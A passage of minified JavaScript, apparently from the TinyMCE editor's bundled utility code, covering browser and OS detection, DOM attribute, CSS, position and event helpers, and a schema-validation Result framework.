isBrowser(chrome), isIE: isBrowser(ie), isOpera: isBrowser(opera), isFirefox: isBrowser(firefox), isSafari: isBrowser(safari) }; }; var Browser = { unknown: unknown$2, nu: nu$c, edge: constant$1(edge), chrome: constant$1(chrome), ie: constant$1(ie), opera: constant$1(opera), firefox: constant$1(firefox), safari: constant$1(safari) }; var windows = 'Windows'; var ios = 'iOS'; var android = 'Android'; var linux = 'Linux'; var osx = 'OSX'; var solaris = 'Solaris'; var freebsd = 'FreeBSD'; var chromeos = 'ChromeOS'; var unknown$1 = function () { return nu$b({ current: undefined, version: Version.unknown() }); }; var nu$b = function (info) { var current = info.current; var version = info.version; var isOS = function (name) { return function () { return current === name; }; }; return { current: current, version: version, isWindows: isOS(windows), isiOS: isOS(ios), isAndroid: isOS(android), isOSX: isOS(osx), isLinux: isOS(linux), isSolaris: isOS(solaris), isFreeBSD: isOS(freebsd), isChromeOS: isOS(chromeos) }; }; var OperatingSystem = { unknown: unknown$1, nu: nu$b, windows: constant$1(windows), ios: constant$1(ios), android: constant$1(android), linux: constant$1(linux), osx: constant$1(osx), solaris: constant$1(solaris), freebsd: constant$1(freebsd), chromeos: constant$1(chromeos) }; var detect$2 = function (userAgent, userAgentDataOpt, mediaMatch) { var browsers = PlatformInfo.browsers(); var oses = PlatformInfo.oses(); var browser = userAgentDataOpt.bind(function (userAgentData) { return detectBrowser$1(browsers, userAgentData); }).orThunk(function () { return detectBrowser(browsers, userAgent); }).fold(Browser.unknown, Browser.nu); var os = detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu); var deviceType = DeviceType(os, browser, userAgent, mediaMatch); return { browser: browser, os: os, deviceType: deviceType }; }; var PlatformDetection = { detect: detect$2 }; var mediaMatch = function (query) { return window.matchMedia(query).matches; }; var platform = cached(function () { return PlatformDetection.detect(navigator.userAgent, Optional.from(navigator.userAgentData), mediaMatch); }); var detect$1 = function () { return platform(); }; var compareDocumentPosition = function (a, b, match) { return (a.compareDocumentPosition(b) & match) !== 0; }; var documentPositionContainedBy = function (a, b) { return compareDocumentPosition(a, b, Node.DOCUMENT_POSITION_CONTAINED_BY); }; var is = function (element, selector) { var dom = element.dom; if (dom.nodeType !== ELEMENT) { return false; } else { var elem = dom; if (elem.matches !== undefined) { return elem.matches(selector); } else if (elem.msMatchesSelector !== undefined) { return elem.msMatchesSelector(selector); } else if (elem.webkitMatchesSelector !== undefined) { return elem.webkitMatchesSelector(selector); } else if (elem.mozMatchesSelector !== undefined) { return elem.mozMatchesSelector(selector); } else { throw new Error('Browser lacks native selectors'); } } }; var bypassSelector = function (dom) { return dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0; }; var all$3 = function (selector, scope) { var base = scope === undefined ? document : scope.dom; return bypassSelector(base) ? [] : map$2(base.querySelectorAll(selector), SugarElement.fromDom); }; var one = function (selector, scope) { var base = scope === undefined ? document : scope.dom; return bypassSelector(base) ? Optional.none() : Optional.from(base.querySelector(selector)).map(SugarElement.fromDom); }; var eq = function (e1, e2) { return e1.dom === e2.dom; }; var regularContains = function (e1, e2) { var d1 = e1.dom; var d2 = e2.dom; return d1 === d2 ? false : d1.contains(d2); }; var ieContains = function (e1, e2) { return documentPositionContainedBy(e1.dom, e2.dom); }; var contains = function (e1, e2) { return detect$1().browser.isIE() ? ieContains(e1, e2) : regularContains(e1, e2); }; var owner$4 = function (element) { return SugarElement.fromDom(element.dom.ownerDocument); }; var documentOrOwner = function (dos) { return isDocument(dos) ? dos : owner$4(dos); }; var documentElement = function (element) { return SugarElement.fromDom(documentOrOwner(element).dom.documentElement); }; var defaultView = function (element) { return SugarElement.fromDom(documentOrOwner(element).dom.defaultView); }; var parent = function (element) { return Optional.from(element.dom.parentNode).map(SugarElement.fromDom); }; var parentNode = function (element) { return parent(element); }; var offsetParent = function (element) { return Optional.from(element.dom.offsetParent).map(SugarElement.fromDom); }; var nextSibling = function (element) { return Optional.from(element.dom.nextSibling).map(SugarElement.fromDom); }; var children = function (element) { return map$2(element.dom.childNodes, SugarElement.fromDom); }; var child$2 = function (element, index) { var cs = element.dom.childNodes; return Optional.from(cs[index]).map(SugarElement.fromDom); }; var firstChild = function (element) { return child$2(element, 0); }; var spot = function (element, offset) { return { element: element, offset: offset }; }; var leaf = function (element, offset) { var cs = children(element); return cs.length > 0 && offset < cs.length ? spot(cs[offset], 0) : spot(element, offset); }; var isShadowRoot = function (dos) { return isDocumentFragment(dos) && isNonNullable(dos.dom.host); }; var supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode); var isSupported = constant$1(supported); var getRootNode = supported ? function (e) { return SugarElement.fromDom(e.dom.getRootNode()); } : documentOrOwner; var getContentContainer = function (dos) { return isShadowRoot(dos) ? dos : SugarElement.fromDom(documentOrOwner(dos).dom.body); }; var isInShadowRoot = function (e) { return getShadowRoot(e).isSome(); }; var getShadowRoot = function (e) { var r = getRootNode(e); return isShadowRoot(r) ? Optional.some(r) : Optional.none(); }; var getShadowHost = function (e) { return SugarElement.fromDom(e.dom.host); }; var getOriginalEventTarget = function (event) { if (isSupported() && isNonNullable(event.target)) { var el = SugarElement.fromDom(event.target); if (isElement$2(el) && isOpenShadowHost(el)) { if (event.composed && event.composedPath) { var composedPath = event.composedPath(); if (composedPath) { return head(composedPath); } } } } return Optional.from(event.target); }; var isOpenShadowHost = function (element) { return isNonNullable(element.dom.shadowRoot); }; var inBody = function (element) { var dom = isText$1(element) ? element.dom.parentNode : element.dom; if (dom === undefined || dom === null || dom.ownerDocument === null) { return false; } var doc = dom.ownerDocument; return getShadowRoot(SugarElement.fromDom(dom)).fold(function () { return doc.body.contains(dom); }, compose1(inBody, getShadowHost)); }; var body = function () { return getBody(SugarElement.fromDom(document)); }; var getBody = function (doc) { var b = doc.dom.body; if (b === null || b === undefined) { throw new Error('Body is not available yet'); } return SugarElement.fromDom(b); }; var rawSet = function (dom, key, value) { if (isString(value) || isBoolean(value) || isNumber(value)) { dom.setAttribute(key, value + ''); } else { console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom); throw new Error('Attribute value was not simple'); } }; var set$8 = function (element, key, value) { rawSet(element.dom, key, value); }; var setAll$1 = function (element, attrs) { var dom = element.dom; each(attrs, function (v, k) { rawSet(dom, k, v); }); }; var get$d = function (element, key) { var v = element.dom.getAttribute(key); return v === null ? undefined : v; }; var getOpt = function (element, key) { return Optional.from(get$d(element, key)); }; var has$1 = function (element, key) { var dom = element.dom; return dom && dom.hasAttribute ? dom.hasAttribute(key) : false; }; var remove$7 = function (element, key) { element.dom.removeAttribute(key); }; var internalSet = function (dom, property, value) { if (!isString(value)) { console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom); throw new Error('CSS value must be a string: ' + value); } if (isSupported$1(dom)) { dom.style.setProperty(property, value); } }; var internalRemove = function (dom, property) { if (isSupported$1(dom)) { dom.style.removeProperty(property); } }; var set$7 = function (element, property, value) { var dom = element.dom; internalSet(dom, property, value); }; var setAll = function (element, css) { var dom = element.dom; each(css, function (v, k) { internalSet(dom, k, v); }); }; var setOptions = function (element, css) { var dom = element.dom; each(css, function (v, k) { v.fold(function () { internalRemove(dom, k); }, function (value) { internalSet(dom, k, value); }); }); }; var get$c = function (element, property) { var dom = element.dom; var styles = window.getComputedStyle(dom); var r = styles.getPropertyValue(property); return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r; }; var getUnsafeProperty = function (dom, property) { return isSupported$1(dom) ? dom.style.getPropertyValue(property) : ''; }; var getRaw = function (element, property) { var dom = element.dom; var raw = getUnsafeProperty(dom, property); return Optional.from(raw).filter(function (r) { return r.length > 0; }); }; var getAllRaw = function (element) { var css = {}; var dom = element.dom; if (isSupported$1(dom)) { for (var i = 0; i < dom.style.length; i++) { var ruleName = dom.style.item(i); css[ruleName] = dom.style[ruleName]; } } return css; }; var isValidValue = function (tag, property, value) { var element = SugarElement.fromTag(tag); set$7(element, property, value); var style = getRaw(element, property); return style.isSome(); }; var remove$6 = function (element, property) { var dom = element.dom; internalRemove(dom, property); if (is$1(getOpt(element, 'style').map(trim$1), '')) { remove$7(element, 'style'); } }; var reflow = function (e) { return e.dom.offsetWidth; }; var Dimension = function (name, getOffset) { var set = function (element, h) { if (!isNumber(h) && !h.match(/^[0-9]+$/)) { throw new Error(name + '.set accepts only positive integer values. Value was ' + h); } var dom = element.dom; if (isSupported$1(dom)) { dom.style[name] = h + 'px'; } }; var get = function (element) { var r = getOffset(element); if (r <= 0 || r === null) { var css = get$c(element, name); return parseFloat(css) || 0; } return r; }; var getOuter = get; var aggregate = function (element, properties) { return foldl(properties, function (acc, property) { var val = get$c(element, property); var value = val === undefined ? 0 : parseInt(val, 10); return isNaN(value) ? acc : acc + value; }, 0); }; var max = function (element, value, properties) { var cumulativeInclusions = aggregate(element, properties); var absoluteMax = value > cumulativeInclusions ? value - cumulativeInclusions : 0; return absoluteMax; }; return { set: set, get: get, getOuter: getOuter, aggregate: aggregate, max: max }; }; var api$3 = Dimension('height', function (element) { var dom = element.dom; return inBody(element) ? dom.getBoundingClientRect().height : dom.offsetHeight; }); var get$b = function (element) { return api$3.get(element); }; var getOuter$2 = function (element) { return api$3.getOuter(element); }; var setMax$1 = function (element, value) { var inclusions = [ 'margin-top', 'border-top-width', 'padding-top', 'padding-bottom', 'border-bottom-width', 'margin-bottom' ]; var absMax = api$3.max(element, value, inclusions); set$7(element, 'max-height', absMax + 'px'); }; var r$1 = function (left, top) { var translate = function (x, y) { return r$1(left + x, top + y); }; return { left: left, top: top, translate: translate }; }; var SugarPosition = r$1; var boxPosition = function (dom) { var box = dom.getBoundingClientRect(); return SugarPosition(box.left, box.top); }; var firstDefinedOrZero = function (a, b) { if (a !== undefined) { return a; } else { return b !== undefined ? b : 0; } }; var absolute$3 = function (element) { var doc = element.dom.ownerDocument; var body = doc.body; var win = doc.defaultView; var html = doc.documentElement; if (body === element.dom) { return SugarPosition(body.offsetLeft, body.offsetTop); } var scrollTop = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageYOffset, html.scrollTop); var scrollLeft = firstDefinedOrZero(win === null || win === void 0 ? void 0 : win.pageXOffset, html.scrollLeft); var clientTop = firstDefinedOrZero(html.clientTop, body.clientTop); var clientLeft = firstDefinedOrZero(html.clientLeft, body.clientLeft); return viewport$1(element).translate(scrollLeft - clientLeft, scrollTop - clientTop); }; var viewport$1 = function (element) { var dom = element.dom; var doc = dom.ownerDocument; var body = doc.body; if (body === dom) { return SugarPosition(body.offsetLeft, body.offsetTop); } if (!inBody(element)) { return SugarPosition(0, 0); } return boxPosition(dom); }; var api$2 = Dimension('width', function (element) { return element.dom.offsetWidth; }); var set$6 = function (element, h) { return api$2.set(element, h); }; var get$a = function (element) { return api$2.get(element); }; var getOuter$1 = function (element) { return api$2.getOuter(element); }; var setMax = function (element, value) { var inclusions = [ 'margin-left', 'border-left-width', 'padding-left', 'padding-right', 'border-right-width', 'margin-right' ]; var absMax = api$2.max(element, value, inclusions); set$7(element, 'max-width', absMax + 'px'); }; var mkEvent = function (target, x, y, stop, prevent, kill, raw) { return { target: target, x: x, y: y, stop: stop, prevent: prevent, kill: kill, raw: raw }; }; var fromRawEvent$1 = function (rawEvent) { var target = SugarElement.fromDom(getOriginalEventTarget(rawEvent).getOr(rawEvent.target)); var stop = function () { return rawEvent.stopPropagation(); }; var prevent = function () { return rawEvent.preventDefault(); }; var kill = compose(prevent, stop); return mkEvent(target, rawEvent.clientX, rawEvent.clientY, stop, prevent, kill, rawEvent); }; var handle = function (filter, handler) { return function (rawEvent) { if (filter(rawEvent)) { handler(fromRawEvent$1(rawEvent)); } }; }; var binder = function (element, event, filter, handler, useCapture) { var wrapped = handle(filter, handler); element.dom.addEventListener(event, wrapped, useCapture); return { unbind: curry(unbind, element, event, wrapped, useCapture) }; }; var bind$2 = function (element, event, filter, handler) { return binder(element, event, filter, handler, false); }; var capture$1 = function (element, event, filter, handler) { return binder(element, event, filter, handler, true); }; var unbind = function (element, event, handler, useCapture) { element.dom.removeEventListener(event, handler, useCapture); }; var before$2 = function (marker, element) { var parent$1 = parent(marker); parent$1.each(function (v) { v.dom.insertBefore(element.dom, marker.dom); }); }; var after$2 = function (marker, element) { var sibling = nextSibling(marker); sibling.fold(function () { var parent$1 = parent(marker); parent$1.each(function (v) { append$2(v, element); }); }, function (v) { before$2(v, element); }); }; var prepend$1 = function (parent, element) { var firstChild$1 = firstChild(parent); firstChild$1.fold(function () { append$2(parent, element); }, function (v) { parent.dom.insertBefore(element.dom, v.dom); }); }; var append$2 = function (parent, element) { parent.dom.appendChild(element.dom); }; var appendAt = function (parent, element, index) { child$2(parent, index).fold(function () { append$2(parent, element); }, function (v) { before$2(v, element); }); }; var before$1 = function (marker, elements) { each$1(elements, function (x) { before$2(marker, x); }); }; var append$1 = function (parent, elements) { each$1(elements, function (x) { append$2(parent, x); }); }; var empty = function (element) { element.dom.textContent = ''; each$1(children(element), function (rogue) { remove$5(rogue); }); }; var remove$5 = function (element) { var dom = element.dom; if (dom.parentNode !== null) { dom.parentNode.removeChild(dom); } }; var unwrap = function (wrapper) { var children$1 = children(wrapper); if (children$1.length > 0) { before$1(wrapper, children$1); } remove$5(wrapper); }; var get$9 = function (_DOC) { var doc = _DOC !== undefined ? _DOC.dom : document; var x = doc.body.scrollLeft || doc.documentElement.scrollLeft; var y = doc.body.scrollTop || doc.documentElement.scrollTop; return SugarPosition(x, y); }; var to = function (x, y, _DOC) { var doc = _DOC !== undefined ? _DOC.dom : document; var win = doc.defaultView; if (win) { win.scrollTo(x, y); } }; var get$8 = function (_win) { var win = _win === undefined ? window : _win; if (detect$1().browser.isFirefox()) { return Optional.none(); } else { return Optional.from(win['visualViewport']); } }; var bounds$1 = function (x, y, width, height) { return { x: x, y: y, width: width, height: height, right: x + width, bottom: y + height }; }; var getBounds$3 = function (_win) { var win = _win === undefined ? window : _win; var doc = win.document; var scroll = get$9(SugarElement.fromDom(doc)); return get$8(win).fold(function () { var html = win.document.documentElement; var width = html.clientWidth; var height = html.clientHeight; return bounds$1(scroll.left, scroll.top, width, height); }, function (visualViewport) { return bounds$1(Math.max(visualViewport.pageLeft, scroll.left), Math.max(visualViewport.pageTop, scroll.top), visualViewport.width, visualViewport.height); }); }; var walkUp = function (navigation, doc) { var frame = navigation.view(doc); return frame.fold(constant$1([]), function (f) { var parent = navigation.owner(f); var rest = walkUp(navigation, parent); return [f].concat(rest); }); }; var pathTo = function (element, navigation) { var d = navigation.owner(element); var paths = walkUp(navigation, d); return Optional.some(paths); }; var view = function (doc) { var _a; var element = doc.dom === document ? Optional.none() : Optional.from((_a = doc.dom.defaultView) === null || _a === void 0 ? void 0 : _a.frameElement); return element.map(SugarElement.fromDom); }; var owner$3 = function (element) { return owner$4(element); }; var Navigation = /*#__PURE__*/Object.freeze({ __proto__: null, view: view, owner: owner$3 }); var find$2 = function (element) { var doc = SugarElement.fromDom(document); var scroll = get$9(doc); var path = pathTo(element, Navigation); return path.fold(curry(absolute$3, element), function (frames) { var offset = viewport$1(element); var r = foldr(frames, function (b, a) { var loc = viewport$1(a); return { left: b.left + loc.left, top: b.top + loc.top }; }, { left: 0, top: 0 }); return SugarPosition(r.left + offset.left + scroll.left, r.top + offset.top + scroll.top); }); }; var pointed = function (point, width, height) { return { point: point, width: width, height: height }; }; var rect = function (x, y, width, height) { return { x: x, y: y, width: width, height: height }; }; var bounds = function (x, y, width, height) { return { x: x, y: y, width: width, height: height, right: x + width, bottom: y + height }; }; var box$1 = function (element) { var xy = absolute$3(element); var w = getOuter$1(element); var h = getOuter$2(element); return bounds(xy.left, xy.top, w, h); }; var absolute$2 = function (element) { var position = find$2(element); var width = getOuter$1(element); var height = getOuter$2(element); return bounds(position.left, position.top, width, height); }; var win = function () { return getBounds$3(window); }; var value$3 = function (o) { var or = function (_opt) { return value$3(o); }; var orThunk = function (_f) { return value$3(o); }; var map = function (f) { return value$3(f(o)); }; var mapError = function (_f) { return value$3(o); }; var each = function (f) { f(o); }; var bind = function (f) { return f(o); }; var fold = function (_, onValue) { return onValue(o); }; var exists = function (f) { return f(o); }; var forall = function (f) { return f(o); }; var toOptional = function () { return Optional.some(o); }; return { isValue: always, isError: never, getOr: constant$1(o), getOrThunk: constant$1(o), getOrDie: constant$1(o), or: or, orThunk: orThunk, fold: fold, map: map, mapError: mapError, each: each, bind: bind, exists: exists, forall: forall, toOptional: toOptional }; }; var error$1 = function (message) { var getOrThunk = function (f) { return f(); }; var getOrDie = function () { return die(String(message))(); }; var or = identity$1; var orThunk = function (f) { return f(); }; var map = function (_f) { return error$1(message); }; var mapError = function (f) { return error$1(f(message)); }; var bind = function (_f) { return error$1(message); }; var fold = function (onError, _) { return onError(message); }; return { isValue: never, isError: always, getOr: identity$1, getOrThunk: getOrThunk, getOrDie: getOrDie, or: or, orThunk: orThunk, fold: fold, map: map, mapError: mapError, each: noop, bind: bind, exists: never, forall: always, toOptional: Optional.none }; }; var fromOption = function (opt, err) { return opt.fold(function () { return error$1(err); }, value$3); }; var Result = { value: value$3, error: error$1, fromOption: fromOption }; var SimpleResultType; (function (SimpleResultType) { SimpleResultType[SimpleResultType['Error'] = 0] = 'Error'; SimpleResultType[SimpleResultType['Value'] = 1] = 'Value'; }(SimpleResultType || (SimpleResultType = {}))); var fold$1 = function (res, onError, onValue) { return res.stype === SimpleResultType.Error ? onError(res.serror) : onValue(res.svalue); }; var partition$2 = function (results) { var values = []; var errors = []; each$1(results, function (obj) { fold$1(obj, function (err) { return errors.push(err); }, function (val) { return values.push(val); }); }); return { values: values, errors: errors }; }; var mapError = function (res, f) { if (res.stype === SimpleResultType.Error) { return { stype: SimpleResultType.Error, serror: f(res.serror) }; } else { return res; } }; var map = function (res, f) { if (res.stype === SimpleResultType.Value) { return { stype: SimpleResultType.Value, svalue: f(res.svalue) }; } else { return res; } }; var bind$1 = function (res, f) { if (res.stype === SimpleResultType.Value) { return f(res.svalue); } else { return res; } }; var bindError = function (res, f) { if (res.stype === SimpleResultType.Error) { return f(res.serror); } else { return res; } }; var svalue = function (v) { return { stype: SimpleResultType.Value, svalue: v }; }; var serror = function (e) { return { stype: SimpleResultType.Error, serror: e }; }; var toResult$1 = function (res) { return fold$1(res, Result.error, Result.value); }; var fromResult$1 = function (res) { return res.fold(serror, svalue); }; var SimpleResult = { fromResult: fromResult$1, toResult: toResult$1, svalue: svalue, partition: partition$2, serror: serror, bind: bind$1, bindError: bindError, map: map, mapError: mapError, fold: fold$1 }; var field$2 = function (key, newKey, presence, prop) { return { tag: 'field', key: key, newKey: newKey, presence: presence, prop: prop }; }; var customField$1 = function (newKey, instantiator) { return { tag: 'custom', newKey: newKey, instantiator: instantiator }; }; var fold = function (value, ifField, ifCustom) { switch (value.tag) { case 'field': return ifField(value.key, value.newKey, value.presence, value.prop); case 'custom': return ifCustom(value.newKey, value.instantiator); } }; var shallow$1 = function (old, nu) { return nu; }; var deep = function (old, nu) { var bothObjects = isObject(old) && isObject(nu); return bothObjects ? deepMerge(old, nu) : nu; }; var baseMerge = function (merger) { return function () { var objects = []; for (var _i = 0; _i < arguments.length; _i++) { objects[_i] = arguments[_i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (has$2(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var deepMerge = baseMerge(deep); var merge$1 = baseMerge(shallow$1); var required$2 = function () { return { tag: 'required', process: {} }; }; var defaultedThunk = function (fallbackThunk) { return { tag: 'defaultedThunk', process: fallbackThunk }; }; var defaulted$1 = function (fallback) { return defaultedThunk(constant$1(fallback)); }; var asOption = function () { return { tag: 'option', process: {} }; }; var mergeWithThunk = function (baseThunk) { return { tag: 'mergeWithThunk', process: baseThunk }; }; var mergeWith = function (base) { return mergeWithThunk(constant$1(base)); }; var mergeValues$1 = function (values, base) { return values.length > 0 ? SimpleResult.svalue(deepMerge(base, merge$1.apply(undefined, values))) : SimpleResult.svalue(base); }; var mergeErrors$1 = function (errors) { return compose(SimpleResult.serror, flatten)(errors); }; var consolidateObj = function (objects, base) { var partition = SimpleResult.partition(objects); return partition.errors.length > 0 ? mergeErrors$1(partition.errors) : mergeValues$1(partition.values, base); }; var consolidateArr = function (objects) { var partitions = SimpleResult.partition(objects); return partitions.errors.length > 0 ? mergeErrors$1(partitions.errors) : SimpleResult.svalue(partitions.values); }; var ResultCombine = { consolidateObj: consolidateObj, consolidateArr: consolidateArr }; var formatObj = function (input) { return isObject(input) && keys(input).length > 100 ? ' removed due to size' : JSON.stringify(input, null, 2); }; var formatErrors = function (errors) { var es = errors.length > 10 ? errors.slice(0, 10).concat([{ path: [], getErrorInfo: constant$1('... (only showing first ten failures)') }]) : errors; return map$2(es, function (e) { return 'Failed path: (' + e.path.join(' > ') + ')\n' + e.getErrorInfo(); }); }; var nu$a = function (path, getErrorInfo) { return SimpleResult.serror([{ path: path, getErrorInfo: getErrorInfo }]); }; var missingRequired = function (path, key, obj) { return nu$a(path, function () { return 'Could not find valid *required* value for "' + key + '" in ' + formatObj(obj); }); }; var missingKey = function (path, key) { return nu$a(path, function () { return 'Choice schema did not contain choice key: "' + key + '"'; }); }; var missingBranch = function (path, branches, branch) { return nu$a(path, function () { return 'The chosen schema: "' + branch + '" did not exist in branches: ' + formatObj(branches); }); }; var unsupportedFields = function (path, unsupported) { return nu$a(path, function () { return 'There are unsupported fields: [' + unsupported.join(', ') + '] specified'; }); }; var custom = function (path, err) { return nu$a(path, constant$1(err)); }; var value$2 = function (validator) { var extract = function (path, val) { return SimpleResult.bindError(validator(val), function (err) { return custom(path, err); }); }; var toString = constant$1('val'); return { extract: extract, toString: toString }; }; var anyValue$1 = value$2(SimpleResult.svalue); var requiredAccess = function (path, obj, key, bundle) { return get$e(obj, key).fold(function () { return missingRequired(path, key, obj); }, bundle); }; var fallbackAccess = function (obj, key, fallback, bundle) { var v = get$e(obj, key).getOrThunk(function () { return fallback(obj); }); return bundle(v); }; var optionAccess = function (obj, key, bundle) { return bundle(get$e(obj, key)); }; var optionDefaultedAccess = function (obj, key, fallback, bundle) { var opt = get$e(obj, key).map(function (val) { return val === true ? fallback(obj) : val; }); return bundle(opt); }; var extractField = function (field, path, obj, key, prop) { var bundle = function (av) { return prop.extract(path.concat([key]), av); }; var bundleAsOption = function (optValue) { return optValue.fold(function () { return SimpleResult.svalue(Optional.none()); }, function (ov) { var result = prop.extract(path.concat([key]), ov); return SimpleResult.map(result, Optional.some); }); }; switch (field.tag) { case 'required': return requiredAccess(path, obj, key, bundle); case 'defaultedThunk': return fallbackAccess(obj, key, field.process, bundle); case 'option': return optionAccess(obj, key, bundleAsOption); case 'defaultedOptionThunk': return optionDefaultedAccess(obj, key, field.process, bundleAsOption); case 'mergeWithThunk': { return fallbackAccess(obj, key, constant$1({}), function (v) { var result = deepMerge(field.process(obj), v); return bundle(result); }); } } }; var extractFields = function (path, obj, fields) { var success = {}; var errors = []; for (var _i = 0, fields_1 = fields; _i < fields_1.length; _i++) { var field = fields_1[_i]; fold(field, function (key, newKey, presence, prop) { var result = extractField(presence, path, obj, key, prop); SimpleResult.fold(result, function (err) { errors.push.apply(errors, err); }, function (res) { success[newKey] = res; }); }, function (newKey, instantiator) { success[newKey] = instantiator(obj); }); } return errors.length > 0 ? SimpleResult.serror(errors) : SimpleResult.svalue(success); }; var valueThunk = function (getDelegate) { var extract = function (path, val) { return getDelegate().extract(path, val); }; var toString = function () { return getDelegate().toString(); }; return { extract: extract, toString: toString }; }; var getSetKeys = function (obj) { return keys(filter$1(obj, isNonNullable)); }; var objOfOnly = function (fields) { var delegate = objOf(fields); var fieldNames = foldr(fields, function (acc, value) { return fold(value, function (key) { var _a; return deepMerge(acc, (_a = {}, _a[key] = true, _a)); }, constant$1(acc)); }, {}); var extract = function (path, o) { var keys = isBoolean(o) ? [] : getSetKeys(o); var extra = filter$2(keys, function (k) { return !hasNonNullableKey(fieldNames, k); }); return extra.length === 0 ? delegate.extract(path, o) : unsupportedFields(path, extra); }; return { extract: extract, toString: delegate.toString }; }; var objOf = function (values) { var extract = function (path, o) { return extractFields(path, o, values); }; var toString = function () { var fieldStrings = map$2(values, function (value) { return fold(value, function (key, _okey, _presence, prop) { return key + ' -> ' + prop.toString(); }, function (newKey, _instantiator) { return 'state(' + newKey + ')'; }); }); return 'obj{\n' + fieldStrings.join('\n') + '}'; }; return { extract: extract, toString: toString }; }; var arrOf = function (prop) { var extract = function (path, array) { var results = map$2(array, function (a, i) { return prop.extract(path.concat(['[' + i + ']']), a); }); return ResultCombine.consolidateArr(results); }; var toString = function () { return 'array(' + prop.toString() + ')'; }; return { extract: extract, toString: toString }; }; var oneOf = function (props) { var extract = function (path, val) { var errors = []; for (var _i = 0, props_1 = props; _i < props_1.length; _i++) { var prop = props_1[_i]; var res = prop.extract(path, val); if (res.stype === SimpleResultType.Value) { return res; } errors.push(res); } return ResultCombine.consolidateArr(errors); }; var toString = function () { return 'oneOf(' + map$2(props, function (prop) { return prop.toString(); }).join(', ') + ')'; }; return { extract: extract, toString: toString }; }; var setOf$1 = function (validator, prop) { var validateKeys = function (path, keys) { return arrOf(value$2(validator)).extract(path, keys); }; var extract = function (path, o) { var keys$1 = keys(o); var validatedKeys = validateKeys(path, keys$1); return SimpleResult.bind(validatedKeys, function (validKeys) { var schema = map$2(validKeys, function (vk) { return field$2(vk, vk, required$2(), prop); }); return objOf(schema).extract(path, o); }); }; var toString = function () { return 'setOf(' + prop.toString() + ')'; }; return { extract: extract, toString: toString }; }; var thunk = function (_desc, processor) { var getP = cached(processor); var extract = function (path, val) { return getP().extract(path, val); }; var toString = function () { return getP().toString(); }; return { extract: extract, toString: toString }; }; var arrOfObj = compose(arrOf, objOf); var anyValue = constant$1(anyValue$1); var typedValue = function (validator, expectedType) { return value$2(function (a) { var actualType = typeof a; return validator(a) ? SimpleResult.svalue(a) : SimpleResult.serror('Expected type: ' + expectedType + ' but got: ' + actualType); }); }; var number = typedValue(isNumber, 'number'); var string = typedValue(isString, 'string'); var boolean = typedValue(isBoolean, 'boolean'); var functionProcessor = typedValue(isFunction, 'function'); var isPostMessageable = function (val) { if (Object(val) !== val) { return true; } switch ({}.toString.call(val).slice(8, -1)) { case 'Boolean': case 'Number': case 'String': case 'Date': case 'RegExp': case 'Blob': case 'FileList': case 'ImageData': case 'ImageBitmap': case 'ArrayBuffer': return true; case 'Array': case 'Object': return Object.keys(val).every(function (prop) { return isPostMessageable(val[prop]); }); default: return false; } }; var postMessageable = value$2(function (a) { if (isPostMessageable(a)) { return SimpleResult.svalue(a); } else { return SimpleResult.serror('Expected value to be acceptable for sending via postMessage'); } }); var chooseFrom = function (path, input, branches, ch) { var fields = get$e(branches, ch); return fields.fold(function () { return missingBranch(path, branches, ch); }, function (vp) { return vp.extract(path.concat(['branch: ' + ch]), input); }); }; var choose$2 = function (key, branches) { var extract = function (path, input) { var choice = get$e(input, key); return choice.fold(function () { return missingKey(path, key); }, function (chosen) { return chooseFrom(path, input, branches, chosen); }); }; var toString = function () { return 'chooseOn(' + key + '). Possible values: ' + keys(branches); }; return { extract: extract, toString: toString }; }; var arrOfVal = function () { return arrOf(anyValue$1); }; var valueOf = function (validator) { return value$2(function (v) { return validator(v).fold(SimpleResult.serror, SimpleResult.svalue); }); }; var setOf = function (validator, prop) { return setOf$1(function (v) { return SimpleResult.fromResult(validator(v)); }, prop); }; var extractValue = function (label, prop, obj) { var res = prop.extract([label], obj); return SimpleResult.mapError(res, function (errs) { return { input: obj, errors: errs }; }); }; var asRaw = function (label, prop, obj) { return SimpleResult.toResult(extractValue(label, prop, obj)); }; var getOrDie = function (extraction) { return extraction.fold(function (errInfo) { throw new Error(formatError(errInfo)); }, identity$1); }; var asRawOrDie$1 = function (label, prop, obj) { return getOrDie(asRaw(label, prop, obj)); }; var formatError = function (errInfo) { return 'Errors: \n' + formatErrors(errInfo.errors).join('\n') + '\n\nInput object: ' + formatObj(errInfo.input); }; var choose$1 = function (key, branches) { return choose$2(key, map$1(branches, objOf)); }; var thunkOf = function (desc, schema) { return thunk(desc, schema); }; var field$1 = field$2; var customField = customField$1; var validateEnum = function (values) { return valueOf(function (value) { return contains$2(values, value) ? Result.value(value) : Result.error('Unsupported value: "' + value + '", choose one of "' + values.join(', ') + '".'); }); }; var required$1 = function (key) { return field$1(key, key, required$2(), anyValue()); }; var requiredOf = function (key, schema) { return field$1(key, key, required$2(), schema); }; var requiredNumber = function (key) { return requiredOf(key, number); }; var requiredString = function (key) { return requiredOf(key, string); }; var requiredStringEnum = function (key, values) { return field$1(key, key, required$2(), validateEnum(values)); }; var requiredBoolean = function (key) { return requiredOf(key, boolean); }; var requiredFunction = function (key) { return requiredOf(key, functionProcessor); }; var forbid = function (key, message) { return field$1(key, key, asOption(), value$2(function (_v) { return SimpleResult.serror('The field: ' + key + ' is forbidden. ' + message); })); }; var requiredObjOf = function (key, objSchema) { return field$1(key, key, required$2(), objOf(objSchema)); }; var requiredArrayOfObj = function (key, objFields) { return field$1(key, key, required$2(), arrOfObj(objFields)); }; var requiredArrayOf = function (key, schema) { return field$1(key, key, required$2(), arrOf(schema)); }; var option = function (key) { return field$1(key, key, asOption(), anyValue()); }; var optionOf = function (key, schema) { return field$1(key, key, asOption(), schema); }; var optionNumber = function (key) { return optionOf(key, number); }; var optionString = function (key) { return optionOf(key, string); }; var optionFunction = function (key) { return optionOf(key, functionProcessor); }; var optionArrayOf = function (key, schema) { return optionOf(key, arrOf(schema)); }; var optionObjOf = function (key, objSchema) { return 